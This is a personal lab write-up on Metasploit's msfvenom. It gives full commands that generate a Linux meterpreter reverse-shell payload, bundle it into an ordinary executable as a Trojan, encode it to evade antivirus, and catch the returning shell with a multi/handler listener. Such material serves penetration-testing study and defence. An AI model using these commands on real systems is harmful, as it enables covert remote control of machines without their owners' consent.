Testing Payloads with Metasploit

# Generating, embedding and encoding test samples with msfvenom

Introduction

msfvenom is part of Metasploit.

It combines functions previously provided by msfpayload and msfencoder. It can generate a payload, encode it to avoid bad characters or try to evade antivirus detection, and bundle it with a host executable.

# Command reference

These were the options I used:

-l lists the available resources for a module type: payloads, encoders, nops, platforms, archs, encrypt, formats or all. The samples in this lab are under payloads.

-p selects a payload. A dash selects a custom payload from standard input.
To see a payload’s standard options, use --list-options .

-f selects the output format. Run --list formats to see the available formats.

-o sets the output file path. Shell redirection is another way to save the output.

-x supplies a custom executable template that the payload will be bundled with.

-e selects the encoder.

-i sets the number of encoding iterations.

# Generating a sample

1. I listed the available payloads with msfvenom -l payloads .
   There were a lot of results, so I used grep to narrow them down by the features I wanted.
   
   I used linux/x86/meterpreter/reverse_tcp as an example of a reverse connection.

2. I checked which options that payload needed:
   msfvenom -p linux/x86/meterpreter/reverse_tcp --list-options

3. I listed the available output formats:
   msfvenom --list formats

4. Using that information, I put together the command to generate the sample:
   msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.158.132 LPORT=4444 -f elf -o /root/payload.elf

Here, -p selects linux/x86/meterpreter/reverse_tcp.
LHOST specifies the IP address of the listener the sample connects back to.
LPORT selects the port. Its default is 4444, so I could omit it here.
-f sets the output format to elf.
-o saves the output to /root/payload.elf.

# Embedding a sample

A Trojan can be bundled with an ordinary executable to help it spread.

For the host file I used /root/hello_world , a small C program I’d compiled with gcc.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.158.132 LPORT=4444 -f elf -x /root/hello_world -o /root/payload_bundle.elf

The -x option selects /root/hello_world as the template. The remaining arguments are the same as in the earlier generation command.

# Detection testing

For this part of the lab I tested whether encoding changed the antivirus result.

I listed the available encoders with msfvenom -l encoders .

I chose x86/shikata_ga_nai to see whether encoding would make the sample less likely to be detected.
My command was msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.158.132 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f elf -x /root/hello_world -o /root/payload_Anti_Virus.elf .

-e selects x86/shikata_ga_nai.
-i sets the iteration count to five.
The number of iterations is adjustable. Adding more doesn’t necessarily improve the result and can stop the sample working.

# Observing a test session in msfconsole

The following experiment used the previously generated file payload.elf.

# Controller

I opened the MSF console with msfconsole .

I selected the handler with use exploit/multi/handler .

Then I ran show options to see which parameters still needed values.

I selected the payload with set PAYLOAD linux/x86/meterpreter/reverse_tcp .
I set the local host address with set LHOST 192.168.158.132 .

Running run started the listener. When I ran the sample on the target server, the listener received a shell.
Here’s the result:

# Target server

I transferred the sample to the target server.

I made it executable with chmod +x payload.elf .

With the listener already running on the controller, I executed payload.elf:

Putting the two sides together:

• Controller:

1. msfconsole
2. use exploit/multi/handler
3. set PAYLOAD linux/x86/meterpreter/reverse_tcp
   4. set LHOST 192.168.158.132
4. Start the listener with run .

• Target server:

1. Download the sample.
2. chmod +x payload.elf
3. ./payload.elf